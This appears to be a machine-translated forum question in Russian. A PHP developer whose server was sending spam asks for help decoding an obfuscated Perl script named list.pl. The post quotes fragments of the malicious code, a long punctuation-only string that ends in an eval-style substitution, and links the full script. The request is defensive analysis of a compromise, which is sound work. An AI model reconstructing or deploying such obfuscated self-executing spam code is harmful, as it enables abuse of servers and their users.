Расшифровать обфусцированный скрипт Perl

Были некоторые проблемы со спамом на моем сервере, и, обнаружив и удалив некоторые сценарии Perl и PHP, я должен проверить, что они действительно делают, хотя я старший программист PHP, у меня мало опыта с Perl, может ли кто-нибудь помочь мне со сценарием здесь:

http://pastebin.com/MKiN8ifp

(это была одна длинная строка кода, скрипт назывался list.pl)

Начало скрипта:

$??s:;s:s;;$?::s;(.*); ]="&\%[=.*.,-))'-,-#-*.).<.'.+-<-~-#,~-.-,.+,~-{-,.<'`.{'`'<-<--):)++,+#,-.{).+,,~+{+,,<)..})<.{.)-,.+.,.)-#):)++,+#,-.{).+,,~+{+,,<)..})<*{.}'`'<-<--):)++,+#,-.{).+:,+,+,',~+*+~+~+{+<+,)..})<'`'<.{'`'<'<-}.<)'+'.:*}.*.'-|-<.+):)~*{)~)|)++,+#,-.{).+:,+,+,',~+*+~+~+{+<+,)..})

Он продолжается с несколькими драгоценными знаками без знаков препинания до самого конца:

0-9\;\\_rs}&a-h;;s;(.*);$_;see;